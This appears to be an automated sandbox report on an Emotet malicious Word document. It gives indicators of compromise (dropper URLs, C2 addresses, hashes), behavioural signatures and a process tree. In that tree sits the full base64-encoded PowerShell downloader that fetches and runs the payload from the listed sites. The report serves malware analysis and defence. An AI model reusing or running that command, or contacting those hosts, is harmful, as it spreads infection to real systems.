Analysis

  • max time kernel
    145s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    26/08/2020, 10:16

General

  • Target
    emotet_e2_0457c9787de05b220971fb9cedf7284dc1978d2e6e07c678f7d809f78f7a345c_2020-08-26__101425._doc.doc
  • Size 219KB
  • Sample200826-e4p3q7t5re
  • SHA256 0457c9787de05b220971fb9cedf7284dc1978d2e6e07c678f7d809f78f7a345c
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://bursayuzmekursu.com/assets/6m3/

  • exe.dropper

    http://casabeethovenlb.com/classes/mPaUG3/

  • exe.dropper

    http://cse-engineer.com/cgi-bin/f5fG/

  • exe.dropper

    http://da-industrial.com/js/j/

  • exe.dropper

    http://ajbuids.co.uk/buildzips/XY8Mgvl/

  • exe.dropper

    https://cocoonplace.be/achtergronden/ZRDB/

  • exe.dropper

    http://creativemarcel.com/downloadTest/wc/

Extracted

Family
  • emotet

C2
  • 173.81.218.65:80

  • 45.55.36.51:443

  • 91.83.93.99:7080

  • 45.55.219.163:443

  • 169.239.182.217:8080

  • 24.43.99.75:80

  • 78.24.219.147:8080

  • 95.179.229.244:8080

  • 107.5.122.110:80

  • 47.144.21.12:443

  • 204.197.146.48:80

  • 139.99.158.11:443

  • 190.160.53.126:80

  • 74.120.55.163:80

  • 74.109.108.202:80

  • 47.146.117.214:80

  • 104.236.246.93:8080

  • 174.137.65.18:80

  • 41.60.200.34:80

  • 209.141.54.221:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_0457c9787de05b220971fb9cedf7284dc1978d2e6e07c678f7d809f78f7a345c_2020-08-26__101425._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3956
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABGAHYAcwBxAHEAdwBqAD0AKAAoACcATwAyACcAKwAnAGIAYQAnACkAKwAnAGYAcwAnACsAJwA2ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVABFAE0AcABcAFcATwByAGQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQBSAGUAYwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwBVAFIAYABpAHQAWQBQAFIAbwB0AE8AYABjAGAAbwBsACIAIAA9ACAAKAAnAHQAbAAnACsAKAAnAHMAJwArACcAMQAyACcAKQArACcALAAgACcAKwAoACcAdABsACcAKwAnAHMAJwApACsAKAAnADEAMQAsACcAKwAnACAAdABsAHMAJwApACkAOwAkAEUAdgB6AHUAMgBjAGUAIAA9ACAAKAAoACcARAAnACsAJwByAGEAcgAxADMAJwApACsAJwBvADIAJwArACcAcQAnACkAOwAkAEwAYgBqAHUAbgBmAGkAPQAoACgAJwBSAGIAJwArACcAcAAnACkAKwAnAGcAZQAnACsAJwAwADAAJwApADsAJABPAGgANwA4AGIAYwA4AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBYAGEAJwArACgAJwBIACcAKwAnAHcAbwByACcAKwAnAGQAWABhAEgAJwApACsAKAAnADIAMAAnACsAJwAxACcAKQArACcAOQAnACsAJwBYAGEAJwArACcASAAnACkAIAAgAC0AUgBlAFAATABhAGMAZQAoAFsAQwBoAGEAcgBdADgAOAArAFsAQwBoAGEAcgBdADkANwArAFsAQwBoAGEAcgBdADcAMgApACwAWwBDAGgAYQByAF0AOQAyACkAKwAkAEUAdgB6AHUAMgBjAGUAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABJAGwAYgA4AGUAeQAxAD0AKAAnAEwAJwArACgAJwBqAGMAJwArACcAeQAnACkAKwAoACcAYQByACcAKwAnAGcAJwApACkAOwAkAFQAMwBiAHYAegB3AHkAPQAuACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQB0AC4AVwBFAGIAYwBMAGkARQBuAFQAOwAkAFYAbgBlAHcAdwA5AGQAPQAoACcAaAAnACsAJwB0ACcAKwAoACcAdABwACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBiAHUAcgAnACsAJwBzAGEAeQAnACsAJwB1AHoAbQAnACkAKwAoACcAZQBrACcAKwAnAHUAcgAnACkAKwAoACcAcwB1AC4AYwAnACsAJwBvAG0AJwArACcALwBhACcAKwAnAHMAcwAnACkAKwAoACcAZQAnACsAJwB0AHMALwAnACkAKwAoACcANgAnACsAJwBtADMALwAqACcAKQArACcAaAAnACsAKAAnAHQAJwArACcAdABwADoAJwApACsAKAAnAC8ALwBjAGEAcwBhAGIAZQBlAHQAaAAnACsAJwBvACcAKwAnAHYAJwApACsAKAAnAGUAbgBsAGIAJwArACcALgBjAG8AbQAnACkAKwAoACcALwBjAGwAJwArACcAYQBzAHMAJwArACcAZQBzAC8AbQAnACkAKwAoACcAUAAnACsAJwBhAFUARwAnACkAKwAoACcAMwAnACsAJwAvACcAKwAnACoAJwArACcAaAB0AHQAcAA6AC8ALwBjAHMAJwArACcAZQAnACsAJwAtAGUAbgBnAGkAJwApACsAJwBuAGUAJwArACgAJwBlAHIAJwArACcALgBjACcAKQArACgAJwBvAG0ALwBjACcAKwAnAGcAaQAtAGIAaQBuACcAKwAnAC8AZgA1AGYARwAnACsAJwAvACoAaAB0ACcAKwAnAHQAcAAnACsAJwA6AC8AJwArACcALwBkACcAKwAnAGEALQAnACkAKwAnAGkAJwArACcAbgAnACsAJwBkAHUAJwArACcAcwAnACsAKAAnAHQAJwArACcAcgBpACcAKQArACgAJwBhAGwALgBjACcAKwAnAG8AbQAnACkAKwAnAC8AagAnACsAKAAnAHMAJwArACcALwBqAC8AKgBoACcAKwAnAHQAJwApACsAJwB0ACcAKwAoACcAcAA6ACcAKwAnAC8AJwApACsAKAAnAC8AYQBqAGIAJwArACcAdQAnACkAKwAnAGkAZAAnACsAJwBzACcAKwAoACcALgAnACsAJwBjAG8AJwApACsAKAAnAC4AJwArACcAdQBrACcAKQArACgAJwAvACcAKwAnAGIAJwArACcAdQBpAGwAZAAnACkAKwAoACcAegAnACsAJwBpAHAAJwApACsAKAAnAHMALwAnACsAJwBYACcAKQArACcAWQA4ACcAKwAoACcATQAnACsAJwBnAHYAbAAnACsAJwAvACoAJwApACsAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwAHMAOgAvAC8AYwBvAGMAJwArACcAbwAnACsAJwBvACcAKwAnAG4AcAAnACkAKwAnAGwAYQAnACsAJwBjACcAKwAoACcAZQAuAGIAJwArACcAZQAvAGEAJwApACsAJwBjACcAKwAoACcAaAB0AGUAJwArACcAcgBnACcAKQArACcAcgBvACcAKwAnAG4AJwArACgAJwBkACcAKwAnAGUAbgAnACkAKwAoACcALwBaACcAKwAnAFIARABCAC8AJwArACcAKgBoAHQAJwApACsAJwB0ACcAKwAoACcAcAA6AC8ALwAnACsAJwBjAHIAJwApACsAKAAnAGUAYQAnACsAJwB0AGkAdgBlACcAKQArACcAbQBhACcAKwAoACcAcgBjAGUAbAAnACsAJwAuACcAKwAnAGMAbwBtAC8AZAAnACsAJwBvAHcAbgBsACcAKQArACcAbwBhACcAKwAnAGQAVAAnACsAJwBlACcAKwAoACcAcwB0AC8AJwArACcAdwBjAC8AJwApACkALgAiAFMAcABsAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAWgB1AGYAaABqAGEAbgA9ACgAJwBVACcAKwAoACcAagA0ACcAKwAnADQAbgAwACcAKwAnAG0AJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABGAG4AdwA4AHgAOQB4ACAAaQBuACAAJABWAG4AZQB3AHcAOQBkACkAewB0AHIAeQB7ACQAVAAzAGIAdgB6AHcAeQAuACIAZABgAG8AdwBuAGAATABvAGEAZABGAEkAbABlACIAKAAkAEYAbgB3ADgAeAA5AHgALAAgACQATwBoADcAOABiAGMAOAApADsAJABOAG0AcQBkADEAdQAyAD0AKAAoACcASQBuACcAKwAnAGUAJwApACsAJwBlAGQAJwArACcAdgA3ACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABPAGgANwA4AGIAYwA4ACkALgAiAGwARQBuAGAAZwBgAFQASAAiACAALQBnAGUAIAAyADQANAA0ADgAKQAgAHsAJgAoACcASQBuAHYAbwBrACcAKwAnAGUALQAnACsAJwBJAHQAZQBtACcAKQAoACQATwBoADcAOABiAGMAOAApADsAJABSAGcAdQA0ADIAZABsAD0AKAAnAEQAZQAnACsAJwA2ACcAKwAoACcANgA5AHQAJwArACcAcQAnACkAKQA7AGIAcgBlAGEAawA7ACQAQQBlAHkAYgBkAGIAcQA9ACgAJwBKADcAJwArACgAJwA4ADgAagAnACsAJwA1AGcAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFAAOQB6ADQAMwBqADMAPQAoACcARAAnACsAJwBnACcAKwAoACcAdgBwADgAOAAnACsAJwBvACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1936
    • C:\Users\Admin\AppData\Local\Temp\word\2019\Drar13o2q.exe
      "C:\Users\Admin\AppData\Local\Temp\word\2019\Drar13o2q.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4004
      • C:\Windows\SysWOW64\Windows.Media\rdvvmtransport.exe
        "C:\Windows\SysWOW64\Windows.Media\rdvvmtransport.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:3960

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        memory/1936-7-0x00007FF8FA100000-0x00007FF8FAAEC000-memory.dmp

        memory/1936-8-0x000001C4F8E70000-0x000001C4F8E71000-memory.dmp

        memory/1936-9-0x000001C4F91E0000-0x000001C4F91E1000-memory.dmp

        memory/3956-0-0x00007FF901DC0000-0x00007FF902486000-memory.dmp

        memory/3956-1-0x000001D5A3409000-0x000001D5A340E000-memory.dmp

        memory/3960-16-0x0000000002180000-0x000000000218C000-memory.dmp

        memory/4004-13-0x0000000002290000-0x000000000229C000-memory.dmp